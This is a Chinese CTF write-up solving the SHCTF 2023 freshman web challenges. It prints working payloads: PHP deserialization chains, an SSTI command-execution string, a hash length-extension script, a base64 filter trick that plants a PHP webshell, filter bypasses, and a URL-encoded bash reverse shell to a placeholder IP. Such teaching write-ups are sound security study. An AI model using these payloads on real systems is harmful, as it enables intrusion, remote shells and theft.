当前位置:   article > 正文

SHCTF 2023 新生赛 Web 题解_2023ctf比赛题

2023ctf比赛题

Web

[WEEK1]babyRCE

源码过滤了cat 空格 我们使用${IFS}替换空格 和转义获得flag

[WEEK1]飞机大战

源码js发现unicode编码

\u005a\u006d\u0078\u0068\u005a\u0033\u0074\u006a\u0059\u006a\u0045\u007a\u004d\u007a\u0067\u0030\u005a\u0069\u0030\u0031\u0059\u006d\u0045\u0032\u004c\u0054\u0052\u0068\u004e\u007a\u0055\u0074\u004f\u0057\u0049\u0031\u004e\u0053\u0030\u007a\u004d\u007a\u0063\u0031\u0059\u0032\u0051\u0078\u005a\u0047\u0049\u0079\u004f\u0057\u004a\u0039\u000a

解码获得flag

[WEEK1]登录就给flag

这道题直接爆破password就行 爆破到密码为password发现302跳转 抓包获得flag

[WEEK1]生成你的邀请函吧~

使用POST json请求来生成你的邀请函

直接用脚本就行了

  1. import requests
  2. from PIL import Image
  3. import io
  4. url = "http://112.6.51.212:30908/generate_invitation"
  5. data = {
  6.    "name": "C_yi",
  7.    "imgurl": "http://q.qlogo.cn/headimg_dl?dst_uin=3590468098&spec=640&img_type=jpg"
  8. }
  9. response = requests.post(url, json=data, verify=False)
  10. # 获取返回的图片内容
  11. image_content = response.content
  12. # 创建一个PIL的Image对象
  13. image = Image.open(io.BytesIO(image_content))
  14. # 保存图片
  15. image.save("avatar.jpg")

然后搜索avatar.jpg

得到flag

[WEEK1]ez_serialize

  1. <?php
  2. highlight_file(__FILE__);
  3. class A{
  4.   public $var_1;
  5.   
  6.   public function __invoke(){
  7.    include($this->var_1);
  8.   }
  9. }
  10. class B{
  11.   public $q;
  12.   public function __wakeup()
  13. {
  14.   if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {
  15.             echo "hacker";           
  16.         }
  17. }
  18. }
  19. class C{
  20.   public $var;
  21.   public $z;
  22.     public function __toString(){
  23.         return $this->z->var;
  24.     }
  25. }
  26. class D{
  27.   public $p;
  28.     public function __get($key){
  29.         $function = $this->p;
  30.         return $function();
  31.     }  
  32. }
  33. if(isset($_GET['payload']))
  34. {
  35.     unserialize($_GET['payload']);
  36. }
  37. ?>

代码审计

我们反推把 首先看输出点为include()函数

那么执行这个函数 我们就要调用__invoke()魔术方法 这个魔术方法的调用就要通过下面的p参数令 p = new A()(调用条件网上都有)

要想调用p 那就要触发__get()魔术方法 调用这个方法就要看这个z参数 因为z下边无var

想要调用z就要触发__tostring()魔术方法,那就这里是个考点 按道理我们只需要令$var = new C();就可以触发 但看下面这个

Preg_match()函数这个判定就可以直接触发__tostring()魔术方法 那我们直接$p = new B()就可以 那触发__wakeup()函数很简单 反序列就触发

所以构造最终的代码

  1. <?php
  2. class A{
  3.   public $var_1 = 'php://filter/read=convert.base64-encode/resource=flag.php';
  4. }
  5. class B{
  6.   public $q;
  7. }
  8. class C{
  9.   public $var;
  10.   public $z;
  11. }
  12. class D{
  13.   public $p;
  14. }
  15. $b = new B();
  16. $c = new C();
  17. $b->q = $c;
  18. $d = new D();
  19. $c->z = $d;
  20. $d->p = new A();
  21. var_dump(serialize($b))
  22. ?>

Payload:O:1:"B":1:{s:1:"q";O:1:"C":2:{s:3:"var";N;s:1:"z";O:1:"D":1:{s:1:"p";O:1:"A":1:{s:5:"var_1";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}}

然后base64解码就得到falg了

[WEEK1]1zzphp

这道题关键就是利用正则最大回溯绕过,一般下面看到这种就要想到了

所以也没啥难的 按照下面这个自己调试就饿可以了

我的是

  1. import requests
  2. url="http://112.6.51.212:32191/?num[]=1"
  3. data={
  4. 'c[ode':'very'*250000+'2023SHCTF'
  5. }
  6. r=requests.post(url,data=data)
  7. print(r.text)

[WEEK1]ezphp

这道题的考点就是研究preg_replace \e模式下的代码执行

可以看这篇文章

深入研究preg_replace \e模式下的代码执行_preg_replace /e-CSDN博客

深入研究preg_replace \e模式下的代码执行_preg_replace()执行问题-CSDN博客

因为这道题的phpinfo()和大括号没被过滤

所以可以利用

题目就是通过get传参code post传参pattern 关键就是下面这句话

preg_replace 使用了 /e 模式,导致了代码可以被执行

那我们直接利用就好了我们通过POST传参 (.*) 的方式传入pattern  code传入

原先的语句: preg_replace('/(' . $pattern . ')/ei', 'print_r("\\1"))', $coder);

变成了语句: preg_replace('/(.*)/ei', 'print_r("\\1")', {${phpinfo()}});

所以得到flag了

[WEEK2]no_wake_up

又是一道简单的反序列化题

Exp:

  1. <?php
  2. class flag{
  3.     public $username = "admin";
  4.     public $code = "php://filter/read=convert.base64-encode/resource=flag.php";
  5. }
  6. $a = new flag();
  7. echo serialize($a);

Paylaod:?try=O:4:"flag":2:{s:8:"username";s:5:"admin";s:4:"code";s:57:" ";}

解码获得flag

[WEEK2]EasyCMS

考点:【CVE-2021-46203】Taocms v3.0.2 任意文件读取

需要登录后台,默认的账号密码为 admin/tao 然后目录穿越获得flag

[WEEK2]ez_ssti

有点像ctfshow 里面的web361

?name={{ config.__class__.__init__.__globals__['os'].popen('ls /').read() }}

发现flag

?name={{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}

[WEEK2]MD5的事就拜托了 

源代码

  1. <?php
  2. highlight_file(__FILE__);
  3. include("flag.php");
  4. if(isset($_POST['SHCTF'])){
  5. extract(parse_url($_POST['SHCTF']));
  6. if($$$scheme==='SHCTF'){
  7. echo(md5($flag));
  8. echo("</br>");
  9. }
  10. if(isset($_GET['length'])){
  11. $num=$_GET['length'];
  12. if($num*100!=intval($num*100)){
  13. echo(strlen($flag));
  14. echo("</br>");
  15. }
  16. }
  17. }
  18. if($_POST['SHCTF']!=md5($flag)){
  19. if($_POST['SHCTF']===md5($flag.urldecode($num))){
  20. echo("flag is".$flag);
  21. }
  22. }

逐级分析代码;

  1. if(isset($_POST['SHCTF'])){
  2. extract(parse_url($_POST['SHCTF']));
  3. if($$$scheme==='SHCTF'){
  4. echo(md5($flag));
  5. echo("</br>");
  6. }

这里的考点看下面一边文章就行 

 parse_url函数的解释和绕过-CSDN博客

我这里的构造为  可以得到md5加密的falg

SHCTF=host://SHCTF:pass@user/SHCTF 

分析下一段代码

  1. if(isset($_GET['length'])){
  2. $num=$_GET['length'];
  3. if($num*100!=intval($num*100)){
  4. echo(strlen($flag));
  5. echo("</br>");
  6. }

考察intval()函数的绕过  网上搜下就懂了 然后可以得到flag的长度

?length=1.001

得到 md5加密的flag 和长度

 

再看下一段

  1. if($_POST['SHCTF']!=md5($flag)){
  2. if($_POST['SHCTF']===md5($flag.urldecode($num))){
  3. echo("flag is".$flag);
  4. }
  5. }

传入SHCTF不能等于md5加密的flag ,然后看向最后的if语句,直接网上搜md5($flag.urldecode($num)),可以搜到其考点为哈希拓展攻击。具体访问下面文章(挂个梯子)

hash-ext-attack攻击脚本

  1. import base64
  2. import hashlib
  3. import hmac
  4. import struct
  5. import sys
  6. import time
  7. import urllib.parse
  8. from common.md5_manual import md5_manual
  9. from loguru import logger
  10. from common.crypto_utils import CryptoUtils
  11. class HashExtAttack:
  12. """
  13. 哈希长度扩展攻击,解决 hashpump 在win下使用困难的问题
  14. 目前仅支持md5,如果你对认证算法有了解可以手动改写str_add中的字符串拼接方式
  15. """
  16. def __init__(self):
  17. self.know_text = b""
  18. self.know_text_padding = b""
  19. self.new_text = b""
  20. self.rand_str = b''
  21. self.know_hash = b"3c5a36dd888251601d36bbc184648717"
  22. self.key_length = 15
  23. def _padding_msg(self):
  24. """填充明文"""
  25. logger.debug("填充明文")
  26. self.know_text_padding = md5_manual.padding_str(self.know_text)
  27. logger.debug(f"已知明文填充:{self.know_text_padding}")
  28. def _gen_new_plain_text(self):
  29. """生成新明文"""
  30. self.new_text = self.know_text_padding + self.rand_str # b'80' + 55 * b'\x00' + struct.pack("<Q", 512 + len(self.rand_str) *8)
  31. logger.debug(f"new_text: {self.new_text}")
  32. def split_hash(self, hash_str: bytes):
  33. by_new = CryptoUtils.trans_str_origin2_bytes(hash_str.decode())
  34. return struct.unpack("<IIII", by_new)
  35. def _guess_new_hash(self) -> tuple:
  36. """生成新hash"""
  37. # 第一步先生成新的字符串
  38. # 对已知明文进行填充
  39. self._padding_msg()
  40. # 第二步 生成新明文
  41. self._gen_new_plain_text()
  42. # 第三步 生成新hash(基于已知hash进行计算)
  43. # 3.1 hash拆分成4个分组
  44. hash_block = self.split_hash(hash_str=self.know_hash)
  45. md5_manual.A, md5_manual.B, md5_manual.C, md5_manual.D = hash_block
  46. tmp_str = md5_manual.padding_str(self.new_text)
  47. logger.debug(f"新明文填充tmp_str({len(tmp_str)}): {tmp_str}")
  48. logger.debug(f"参与手工分块计算的byte:{tmp_str[-64:]}")
  49. md5_manual.solve(tmp_str[-64:])
  50. self.new_hash = md5_manual.hex_digest()
  51. return self.new_text, self.new_hash
  52. def run(self, know_text, know_hash, rand_str, key_len) -> tuple:
  53. # self.know_text = input("请输入已知明文:")
  54. self.know_text = ("*" * key_len + know_text).encode() # 密钥拼接
  55. self.know_hash = know_hash.encode()
  56. self.rand_str = rand_str.encode()
  57. self._guess_new_hash()
  58. logger.info(f"已知明文:{self.know_text[key_len:]}")
  59. logger.info(f"已知hash:{self.know_hash}")
  60. logger.debug(f"任意填充:{self.rand_str}")
  61. logger.info(f"新明文:{self.new_text[key_len:]}")
  62. logger.info(f"新明文(url编码):{urllib.parse.quote(self.new_text[key_len:], safe='&=')}")
  63. # logger.debug(f"新明文:{base64.b64encode(self.new_text[key_len:])}")
  64. logger.info(f"新hash:{self.new_hash}")
  65. return self.new_text[key_len:], self.new_hash
  66. def input_run(self):
  67. time.sleep(0.2)
  68. self.run(input("请输入已知明文:"), input("请输入已知hash: "), input("请输入扩展字符: "),
  69. int(input("请输入密钥长度:")))
  70. def test(self):
  71. self.run(
  72. "order_id=70&buyer_id=17&good_id=38&buyer_point=300&good_price=888&order_create_time=1678236217.799935",
  73. "178944d4a39e4e4af6522c6de6cb24c5", "&good_price=1", 50)
  74. hash_ext_attack = HashExtAttack()
  75. if __name__ == '__main__':
  76. logger.remove()
  77. logger.add(sys.stderr, level="INFO")
  78. hash_ext_attack.input_run()

 得到payload:

?length=%80%00%00%00%00%00%00%00%00%00%00%00%00%00P%01%00%00%00%00%00%00ab
SHCTF=c4053dcc95bf563af279f7e4bb1f9e17

 

 得到flag

[WEEK2]ez_rce

用Kicky师傅的解法去复现吧

附件源码:

  1. from flask import *
  2. import subprocess
  3. app = Flask(__name__)
  4. def gett(obj,arg):
  5. tmp = obj
  6. for i in arg:
  7. tmp = getattr(tmp,i)
  8. return tmp
  9. def sett(obj,arg,num):
  10. tmp = obj
  11. for i in range(len(arg)-1):
  12. tmp = getattr(tmp,arg[i])
  13. setattr(tmp,arg[i+1],num)
  14. def hint(giveme,num,bol):
  15. c = gett(subprocess,giveme)
  16. tmp = list(c)
  17. tmp[num] = bol
  18. tmp = tuple(tmp)
  19. sett(subprocess,giveme,tmp)
  20. def cmd(arg):
  21. subprocess.call(arg)
  22. @app.route('/',methods=['GET','POST'])
  23. def exec():
  24. try:
  25. if request.args.get('exec')=='ok':
  26. shell = request.args.get('shell')
  27. cmd(shell)
  28. else:
  29. exp = list(request.get_json()['exp'])
  30. num = int(request.args.get('num'))
  31. bol = bool(request.args.get('bol'))
  32. hint(exp,num,bol)
  33. return 'ok'
  34. except:
  35. return 'error'
  36. if __name__ == '__main__':
  37. app.run(host='0.0.0.0',port=5000)

考点需要本地调试 Subprocess Call

第一步进行构造进行污染

?num=7&bol=True

post:

{

"exp": ["Popen", "__init__", "__defaults__"]

}

修改 Content-Type: application/json

返回 ok 代表成功

第二步构造

/?

exec=ok&shell=%62%61%73%68%20%2D%63%20%22%62%61%73%68%20%2D%69%20%3E%26%20%2

F%64%65%76%2F%0D%0A%74%63%70%2F%49%50%2F%32%32%32%32%20%30%3E%26%31%22
反弹 shell 获得 flag
官方wp:

Subprocess.call函数有一个参数shell,当shell为True时,执行命令时是/bin/sh -c “$cmd”这样的,可以进行命令注入。而当shell为false时,执行命令时是/bin/cmd arg这种。而这个方法的shell参数默认为false。

进入subprocess函数查看call函数

图片

可以看到实际上是调用的Popen类的函数,进入Popen看看

图片

可以看到构造参数中shell默认为false

函数的默认参数保存在defaults属性中

图片

通过查看得知shell参数的值在第7个,所以只需要修改7下标为True就可以执行任意命令了。

通过阅读代码,可以知道gett函数是通过遍历json获取subprocess的属性,sett函数是遍历并将取到的属性设置为修改后的值。

先修改shell参数,注意修改content-type

图片

下来命令执行

图片

图片

读flag即可

图片

图片

[WEEK2]serialize

这道题卡了很久 最后也是做出来了 我觉得最大的考点就是数组绕过if(preg_match('/^O:\d+/',$data)){ 而不是采用+ 这点我卡了特别久

js代码:

  1. var arr = ["o123:", "c456:", "d789:"];
  2. arr = arr.filter(function(element) {
  3.   return !/[oc]:\d+:/i.test(element); // 返回不匹配正则表达式的元素
  4. });
  5. console.log(arr); // 输出: ["d789:"]

Pop链比较简单:wakeup()->get()->totring()

构造代码

  1. <?php
  2. class misca{
  3.     public $gao;
  4.     public $fei;
  5.     public $a;
  6. }
  7. class musca{
  8.     public $ding;
  9.     public $dong;
  10. }
  11. class milaoshu{
  12.     public $v = "php://filter/read=convert.base64-encode/resource=flag.php"; //为协议读取
  13. }
  14. $m = new musca();
  15. $m->ding = new misca(); //这个就是触发get魔术方法
  16. $m->ding->gao = &$m->ding->a; //把gao赋值给a
  17. $m->ding->fei = new milaoshu(); //触发tostring魔术方法
  18. echo serialize(array($m)); //利用数组进行绕过正则匹配

Payload:a:1:{i:0;O:5:"musca":2:{s:4:"ding";O:5:"misca":3:{s:3:"gao";N;s:3:"fei";O:8:"milaoshu":1:{s:1:"v";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}s:1:"a";R:4;}s:4:"dong";N;}}

解码获得flag

[WEEK3]快问快答

这种短时间内回答的题一看就是要脚本

根据源码写paylaod就行

  1. import requests
  2. import re
  3. import time
  4. def post_answer(url, headers, answer, cookie):#发送请求
  5.    answer1 = {'answer': answer}
  6.    response=requests.Session()
  7.    response = response.post(url, headers=headers, data=answer1,cookies=cookie)#这个需要设cookie,因为每道题的cookie都是不同的
  8.    return response
  9. def parse_question(response):#用于计算答案
  10.    html = response.text
  11.    answer=0
  12.    pattern = re.compile(r"<h3>(.*?)</h3>")#提取题目信息
  13.    match = pattern.search(html)
  14.    if match:
  15.        question = match.group(1)
  16.        numbers = re.findall(r"\d+", question)
  17.        operation = re.findall(r'异或|与|\+|-|x|÷', question)#识别运算符
  18.        op=operation[0]
  19.        if len(numbers) == 2:
  20.            a = int(numbers[0])
  21.            b = int(numbers[1])
  22.            if op == "异或":
  23.                answer = a ^ b
  24.            if op == "与":
  25.                answer = a & b
  26.            if op == "-":
  27.                answer = a - b
  28.            if op == "+":
  29.                answer = a + b
  30.            if op == "x":
  31.                answer = a * b
  32.            if op == "÷":
  33.                answer = int(a/b)#这里要特别注意要强转成整形,因为题目只能提交整数,如果不转,脚本运行的时候,会因为提交无效数据而爆500的错误
  34.            #print(question)
  35.            #print(answer)
  36.    else:
  37.            print("找不到题目")
  38.    return answer
  39. url = "http://112.6.51.212:32776/"  # 这里替换为你要访问的网址
  40. headers = {"Content-Type": "application/x-www-form-urlencoded"}
  41. cookie=0
  42. answer = 0
  43. for i in range(1,52):#这里要设置成52,相当于循环了51次,因为第一次是初始化,答案是错的
  44.        time.sleep(1)#这里是为了别让程序答得太快,因为题目答题速度是12秒之间
  45.        response = post_answer(url, headers, answer, cookie)
  46.        print(response.text)#打印表单
  47.        answer = parse_question(response)
  48.        cookie = response.cookies

得到flag

[WEEK3]sseerriiaalliizzee

源码:

  1. <?php
  2. error_reporting(0);
  3. highlight_file(__FILE__);
  4. class Start{
  5.     public $barking;
  6.     public function __construct(){
  7.         $this->barking = new Flag;
  8.     }
  9.     public function __toString(){
  10.             return $this->barking->dosomething();
  11.     }
  12. }
  13. class CTF
  14.     public $part1;
  15.     public $part2;
  16.     public function __construct($part1='',$part2='') {
  17.         $this -> part1 = $part1;
  18.         $this -> part2 = $part2;
  19.         
  20.     }
  21.     public function dosomething(){
  22.         $useless   = '<?php die("+Genshin Impact Start!+");?>';
  23.         $useful= $useless. $this->part2;
  24.         file_put_contents($this-> part1,$useful);
  25.     }
  26. }
  27. class Flag{
  28.     public function dosomething(){
  29.         include('./flag,php');
  30.         return "barking for fun!";
  31.         
  32.     }
  33. }
  34.     $code=$_POST['code']; 
  35.     if(isset($code)){
  36.        echo unserialize($code);
  37.     }
  38.     else{
  39.         echo "no way, fuck off";
  40.     }
  41. ?> 
  42. no way, fuck off

出口函数 file_put_contents很简单的pop链 Start:__tostring()->CTF:dosomething()

考点就是无非是file_put_contents()

大概意思就是 你能够执行$this-> part1这个命令 但是因为下面这个

里面的die()函数导致你的uesful无法运行 即、$this->part2=执行的命令无法成功

那这里的考点就是file_put_contents利用技巧

具体访问:(*´∇`*) 欢迎回来! (cnblogs.com)

我们直接构造paylaod:

<?php eval('system("ls /");');  ?> 然后base64编码(?前面不加空格 就会编码变成+号)

PD9waHAgZXZhbCgnc3lzdGVtKCJscyAvIik7Jyk7ICA/Pg==

然后

构造脚本

  1. <?php
  2. class Start{
  3.     public $barking;
  4. }
  5. class CTF{
  6.     public $part1;
  7.     public $part2;
  8. }
  9. $start=new Start();
  10. $start->barking=new CTF();
  11. $start->barking->part1="php://filter/write=convert.base64-decode/resource=wenda.php";
  12. $start->barking->part2="PD9waHAgZXZhbCgnc3lzdGVtKCJscyAvIik7Jyk7ICA/Pg==";
  13. //因为$useless能被base64解码的只有phpdie+GenshinImpactStart+一共26个字符,所以需要加2个a凑成28个,4的倍数
  14. //然后写需要执行的命令,进行base64编码,接着访问wenda.php就能得到flag
  15. echo serialize($start);
  16. ?>

同理换成 cat /flag

Paylaod:

O:5:"Start":1:{s:7:"barking";O:3:"CTF":2:{s:5:"part1";s:59:"php://filter/write=convert.base64-decode/resource=wenda.php";s:5:"part2";s:54:"aaPD9waHAgZXZhbCgnc3lzdGVtKCJjYXQgL2ZsYWciKTsnKTsgPz4=";}}

[WEEK3]gogogo

考点:go代码审计,session伪造,通配符绕过

这里先贴一个windows下运行go 安装使用

https://blog.csdn.net/qq_42313447/article/details/114403953

 下载源码得到三个路由

main.go

  1. package main
  2. import (
  3. "main/route"
  4. "github.com/gin-gonic/gin"
  5. )
  6. func main() {
  7. r := gin.Default()
  8. r.GET("/", route.Index)
  9. r.GET("/readflag", route.Readflag)
  10. r.Run("0.0.0.0:8000")
  11. }

 分析一下,就是给了两个路由。

route.go

  1. package route
  2. import (
  3. "github.com/gin-gonic/gin"
  4. "github.com/gorilla/sessions"
  5. "main/readfile"
  6. "net/http"
  7. "os"
  8. "regexp"
  9. )
  10. var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))
  11. func Index(c *gin.Context) {
  12. session, err := store.Get(c.Request, "session-name")
  13. if err != nil {
  14. http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
  15. return
  16. }
  17. if session.Values["name"] == nil {
  18. session.Values["name"] = "User"
  19. err = session.Save(c.Request, c.Writer)
  20. if err != nil {
  21. http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
  22. return
  23. }
  24. }
  25. c.String(200, "Hello, User. How to become admin?")
  26. }
  27. func Readflag(c *gin.Context) {
  28. session, err := store.Get(c.Request, "session-name")
  29. if err != nil {
  30. http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
  31. return
  32. }
  33. if session.Values["name"] == "admin" {
  34. c.String(200, "Congratulation! You are admin,But how to get flag?\n")
  35. path := c.Query("filename")
  36. reg := regexp.MustCompile(`[b-zA-Z_@#%^&*:{|}+<>";\[\]]`)
  37. if reg.MatchString(path) {
  38. http.Error(c.Writer, "nonono", http.StatusInternalServerError)
  39. return
  40. }
  41. var data []byte
  42. if path != "" {
  43. data = readfile.ReadFile(path)
  44. } else {
  45. data = []byte("请传入参数")
  46. }
  47. c.JSON(200, gin.H{
  48. "success": "read: " + string(data),
  49. })
  50. } else {
  51. c.String(200, "Hello, User. How to become admin?")
  52. }
  53. }

 我们分析一下下面这个index里面这个

 如果name为nil  接着就改为user

我们再看看readflag里面这个 就发现name要为admin 才能接下来的步骤

这里的意思很好懂,就是要把name的值改为admin。但是抓包后发现是有加密的

那我们可不可以伪造session? 让他成为admin呢 我们知道session的加密方式为

var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))

我们猜测环境没有设置session-key,本地搭环境得到session值去伪造 

 意思就是我们只要把route.go里面的 index改为admin就行

session.Values["name"] = "admin"

 然后go run .main.go

然后访问127.0.0.1:8000,对应的cookie即为admin

 最后就是readfile.go

  1. package readfile
  2. import (
  3. "os/exec"
  4. )
  5. func ReadFile(path string) (string2 []byte) {
  6. defer func() {
  7. panic_err := recover()
  8. if panic_err != nil {
  9. }
  10. }()
  11. cmd := exec.Command("bash", "-c", "strings "+path)
  12. string2, err := cmd.Output()
  13. if err != nil {
  14. string2 = []byte("文件不存在")
  15. }
  16. return string2
  17. }

 简单的读取文件,构造出读取文件的语句 ,我们还记得给了两个路由 我们访问readflag

然后看看过滤条件 

  1. reg := regexp.MustCompile(`[b-zA-Z_@#%^&*:{|}+<>";\[\]]`)

不难发现有个a还可以用并且问号没被过滤,这里采取通配符绕过 得到flag

?filename=/??a?

 

  1. #filename=/bin/base /flag
  2. filename=/???/?a??64%09/??a?


 

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/小蓝xlanll/article/detail/443467
推荐阅读
相关标签
  

闽ICP备14008679号